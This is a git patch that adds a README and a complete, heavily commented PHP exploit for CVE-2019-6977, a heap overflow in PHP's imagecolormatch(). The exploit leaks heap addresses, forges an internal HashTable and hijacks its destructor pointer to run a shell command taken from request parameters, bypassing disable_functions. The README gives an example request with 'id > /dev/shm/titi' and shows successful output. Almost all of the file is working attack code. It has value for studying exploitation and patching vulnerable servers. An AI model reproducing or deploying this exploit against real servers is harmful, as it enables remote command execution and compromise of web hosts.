From 17ba221ee6d900e887683c31de2caba57c7316a8 Mon Sep 17 00:00:00 2001 From: mr-xn Date: Mon, 30 Sep 2019 20:41:53 +0800 Subject: [PATCH] add CVE-2019-6977-imagecolormatch --- CVE-2019-6977-imagecolormatch/README.md | 28 ++ CVE-2019-6977-imagecolormatch/exploit.php | 343 ++++++++++++++++++++++ 2 files changed, 371 insertions(+) create mode 100644 CVE-2019-6977-imagecolormatch/README.md create mode 100644 CVE-2019-6977-imagecolormatch/exploit.php diff --git a/CVE-2019-6977-imagecolormatch/README.md b/CVE-2019-6977-imagecolormatch/README.md new file mode 100644 index 0000000..84339a7 --- /dev/null +++ b/CVE-2019-6977-imagecolormatch/README.md @@ -0,0 +1,28 @@ +# imagecolormatch() OOB Heap Write exploit + +## Info + +My binary exploit for [CVE-2019-6977](https://nvd.nist.gov/vuln/detail/CVE-2019-6977). +Bug found by Simon Scannell from RIPS. + +PHP bug is [here](https://bugs.php.net/bug.php?id=77270). +Helps you bypass PHP's `disable_functions` INI directive. + +I commented **a lot** to help people that are new to binary PHP exploitation. Hope this helps. + +## Output + +``` +GET http://target.com/exploit.php?f=0x7fe83d1bb480&c=id+>+/dev/shm/titi +``` +``` +Nenuphar.ce: 0x7fe834a10018 +Nenuphar2.ce: 0x7fe834a10d70 +Nenuphar.properties: 0x7fe834a01230 +z.val: 0x7fe834aaea18 +Difference: 0xad7e8 + +Exploit SUCCESSFUL ! +``` + +From:https://github.com/cfreal/exploits/tree/master/CVE-2019-6977-imagecolormatch \ No newline at end of file diff --git a/CVE-2019-6977-imagecolormatch/exploit.php b/CVE-2019-6977-imagecolormatch/exploit.php new file mode 100644 index 0000000..1f133cf --- /dev/null +++ b/CVE-2019-6977-imagecolormatch/exploit.php @@ -0,0 +1,343 @@ +&c= +# Example: GET/POST /exploit.php?f=0x7fe83d1bb480&c=id+>+/dev/shm/titi +# +# Target: PHP 7.2.x +# Tested on: PHP 7.2.12 +# + +/* + +buf = (unsigned long *)safe_emalloc(sizeof(unsigned long), 5 * im2->colorsTotal, 0); + + for (x=0; xsx; x++) { + for( y=0; ysy; y++ ) { + color = im2->pixels[y][x]; + rgb = im1->tpixels[y][x]; + bp = buf + (color * 5); + (*(bp++))++; + *(bp++) += gdTrueColorGetRed(rgb); + *(bp++) += gdTrueColorGetGreen(rgb); + *(bp++) += gdTrueColorGetBlue(rgb); + *(bp++) += gdTrueColorGetAlpha(rgb); + } + +The buffer is written to by means of a color being the index: +color = im2->pixels[y][x]; +.. +bp = buf + (color * 5); + +*/ + +# +# The bug allows us to increment 5 longs located after buf in memory. +# The first long is incremented by one, others by an arbitrary value between 0 +# and 0xff. +# + +error_reporting(E_ALL); +define('OFFSET_STR_VAL', 0x18); +define('BYTES_PER_COLOR', 0x28); + + +class Nenuphar extends DOMNode +{ + # Add a property so that std.properties is created + function __construct() + { + $this->x = '1'; + } + + # Define __get + # => ce->ce_flags & ZEND_ACC_USE_GUARDS == ZEND_ACC_USE_GUARDS + # => zend_object_properties_size() == 0 + # => sizeof(intern) == 0x50 + function __get($x) + { + return $this->$x; + } +} + +class Nenuphar2 extends DOMNode +{ + function __construct() + { + $this->x = '2'; + } + + function __get($x) + { + return $this->$x; + } +} + +function ptr2str($ptr, $m=8) +{ + $out = ""; + for ($i=0; $i<$m; $i++) + { + $out .= chr($ptr & 0xff); + $ptr >>= 8; + } + return $out; +} + +function str2ptr(&$str, $p, $s=8) +{ + $address = 0; + for($j=$p+$s-1;$j>=$p;$j--) + { + $address <<= 8; + $address |= ord($str[$j]); + } + return $address; +} + +# Spray stuff so that we get concurrent memory blocks +for($i=0;$i<100;$i++) + ${'spray'.$i} = str_repeat(chr($i), 2 * BYTES_PER_COLOR - OFFSET_STR_VAL); +for($i=0;$i<100;$i++) + ${'sprayx'.$i} = str_repeat(chr($i), 12 * BYTES_PER_COLOR - OFFSET_STR_VAL); + +# +# #1: Address leak +# We want to obtain the address of a string so that we can make +# the Nenuphar.std.properties HashTable* point to it and hence control its +# structure. +# + +# We create two images $img1 and $img2, both of 1 pixel. +# The RGB bytes of the pixel of $img1 will be added to OOB memory because we set +# $img2 to have $nb_colors images and we set its only pixel to color number +# $nb_colors. +# +$nb_colors = 12; +$size_buf = $nb_colors * BYTES_PER_COLOR; + +# One pixel image so that the double loop iterates only once +$img1 = imagecreatetruecolor(1, 1); + +# The three RGB values will be added to OOB memory +# First value (Red) is added to the size of the zend_string structure which +# lays under buf in memory. +$color = imagecolorallocate($img1, 0xFF, 0, 0); +imagefill($img1, 0, 0, $color); + +$img2 = imagecreate(1, 1); + +# Allocate $nb_colors colors: |buf| = $nb_colors * BYTES_PER_COLOR = 0x1e0 +# which puts buf in 0x200 memory blocks +for($i=0;$i<$nb_colors;$i++) + imagecolorallocate($img2, 0, 0, $i); + +imagesetpixel($img2, 0, 0, $nb_colors + 1); + +# Create a memory layout as such: +# [z: zend_string: 0x200] +# [x: zend_string: 0x200] +# [y: zend_string: 0x200] +$z = str_repeat('Z', $size_buf - OFFSET_STR_VAL); +$x = str_repeat('X', $size_buf - OFFSET_STR_VAL); +$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL); + +# Then, we unset z and call imagecolormatch(); buf will be at z's memory +# location during the execution +# [buf: long[] : 0x200] +# [x: zend_string: 0x200] +# [y: zend_string: 0x200] +# +# We can write buf + 0x208 + (0x08 or 0x10 or 0x18) +# buf + 0x208 + 0x08 is X's zend_string.len +unset($z); +imagecolormatch($img1, $img2); + +# Now, $x's size has been increased by 0xFF, so we can read further in memory. +# +# Since buf was the last freed block, by unsetting y, we make its first 8 bytes +# point to the old memory location of buf +# [free: 0x200] <-+ +# [x: zend_string: 0x200] | +# [free: 0x200] --+ +unset($y); +# We can read those bytes because x's size has been increased +$z_address = str2ptr($x, 488) + OFFSET_STR_VAL; + +# Reset both these variables so that their slot cannot be "stolen" by other +# allocations +$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL - 8); + +# Now that we have z's address, we can make something point to it. +# We create a fake HashTable structure in Z; when the script exits, each element +# of this HashTable will be destroyed by calling ht->pDestructor(element) +# The only element here is a string: "id" +$z = + # refcount + ptr2str(1) . + # u-nTableMask meth + ptr2str(0) . + # Bucket arData + ptr2str($z_address + 0x38) . + # uint32_t nNumUsed; + ptr2str(1, 4) . + # uint32_t nNumOfElements; + ptr2str(1, 4) . + # uint32_t nTableSize + ptr2str(0, 4) . + # uint32_t nInternalPointer + ptr2str(0, 4) . + # zend_long nNextFreeElement + ptr2str(0x4242424242424242) . + # dtor_func_t pDestructor + ptr2str(hexdec($_REQUEST['f'])) . + str_pad($_REQUEST['c'], 0x100, "\x00") . + ptr2str(0, strlen($y) - 0x38 - 0x100); +; + +# At this point we control a string $z and we know its address: we'll make an +# internal PHP HashTable structure point to it. + + +# +# #2: Read Nenuphar.std.properties +# + +# The tricky part here was to find an interesting PHP structure that is +# allocated in the same fastbins as buf, so that we can modify one of its +# internal pointers. Since buf has to be a multiple of 0x28, I used dom_object, +# whose size is 0x50 = 0x28 * 2. Nenuphar is a subclass of dom_object with just +# one extra method, __get(). +# php_dom.c:1074: dom_object *intern = ecalloc(1, sizeof(dom_object) + zend_object_properties_size(class_type)); +# Since we defined a __get() method, zend_object_properties_size(class_type) = 0 +# and not -0x10. +# +# zend_object.properties points to an HashTable. Controlling an HashTable in PHP +# means code execution since at the end of the script, every element of an HT is +# destroyed by calling ht.pDestructor(ht.arData[i]). +# Hence, we want to change the $nenuphar.std.properties pointer. +# +# To proceed, we first read $nenuphar.std.properties, and then increment it +# by triggering the bug several times, until +# $nenuphar.std.properties == $z_address +# +# Sadly, $nenuphar.std.ce will also get incremented by one every time we trigger +# the bug. This is due to (*(bp++))++ (in gdImageColorMatch). +# To circumvent this problem, we create two classes, Nenuphar and Nenuphar2, and +# instanciate them as $nenuphar and $nenuphar2. After we're done changing the +# std.properties pointer, we trigger the bug more times, until +# $nenuphar.std.ce == $nenuphar2.std.ce2 +# +# This way, $nenuphar will have an arbitrary std.properties pointer, and its +# std.ce will be valid. +# +# Afterwards, we let the script exit, which will destroy our fake hashtable (Z), +# and therefore call our arbitrary function. +# + +# Here we want fastbins of size 0x50 to match dom_object's size +$nb_colors = 2; +$size_buf = $nb_colors * BYTES_PER_COLOR; + +$img1 = imagecreatetruecolor(1, 1); +# The three RGB values will be added to OOB memory +# Second value (Green) is added to the size of the zend_string structure which +# lays under buf in memory. +$color = imagecolorallocate($img1, 0, 0xFF, 0); +imagefill($img1, 0, 0, $color); + +# Allocate 2 colors so that |buf| = 2 * 0x28 = 0x50 +$img2 = imagecreate(1, 1); +for($i=0;$i<$nb_colors;$i++) + imagecolorallocate($img2, 0, 0, $i); + +$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL - 8); +$x = str_repeat('X', $size_buf - OFFSET_STR_VAL - 8); +$nenuphar = new Nenuphar(); +$nenuphar2 = new Nenuphar2(); + +imagesetpixel($img2, 0, 0, $nb_colors); + +# Unsetting the first string so that buf takes its place +unset($y); + +# Trigger the bug: $x's size is increased by 0xFF +imagecolormatch($img1, $img2); + +$ce1_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x28); +$ce2_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + $size_buf + 0x28); +$props_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x38); + +print('Nenuphar.ce: 0x' . dechex($ce1_address) . "\n"); +print('Nenuphar2.ce: 0x' . dechex($ce2_address) . "\n"); +print('Nenuphar.properties: 0x' . dechex($props_address) . "\n"); +print('z.val: 0x' . dechex($z_address) . "\n"); +print('Difference: 0x' . dechex($z_address-$props_address) . "\n"); + +if( + $ce2_address - $ce1_address < ($z_address-$props_address) / 0xff || + $z_address - $props_address < 0 +) +{ + print('That won\'t work'); + exit(0); +} + + +# +# #3: Modifying Nenuphar.std.properties and Nenuphar.std.ce +# + +# Each time we increment Nenuphar.properties by an arbitrary value, ce1_address +# is also incremented by one because of (*(bp++))++; +# Therefore after we're done incrementing props_address to z_address we need +# to increment ce1's address one by one until Nenuphar1.ce == Nenuphar2.ce + +# The memory structure we have ATM is OK. We can just trigger the bug again +# until Nenuphar.properties == z_address + +$color = imagecolorallocate($img1, 0, 0xFF, 0); +imagefill($img1, 0, 0, $color); +imagesetpixel($img2, 0, 0, $nb_colors + 3); + +for($current=$props_address+0xFF;$current<=$z_address;$current+=0xFF) +{ + imagecolormatch($img1, $img2); + $ce1_address++; +} + +$color = imagecolorallocate($img1, 0, $z_address-$current+0xff, 0); +imagefill($img1, 0, 0, $color); +$current = imagecolormatch($img1, $img2); +$ce1_address++; + +# Since we don't want to touch other values, only increase the first one, we set +# the three colors to 0 +$color = imagecolorallocate($img1, 0, 0, 0); +imagefill($img1, 0, 0, $color); + +# Trigger the bug once to increment ce1 by one. +while($ce1_address++ < $ce2_address) +{ + imagecolormatch($img1, $img2); +} + +# Read the string again to see if we were successful + +$new_ce1_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x28); +$new_props_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x38); + +if($new_ce1_address == $ce2_address && $new_props_address == $z_address) +{ + print("\nExploit SUCCESSFUL !\n"); +} +else +{ + print('NEW Nenuphar.ce: 0x' . dechex($new_ce1_address) . "\n"); + print('NEW Nenuphar.std.properties: 0x' . dechex($new_props_address) . "\n"); + print("\nExploit FAILED !\n"); +} \ No newline at end of file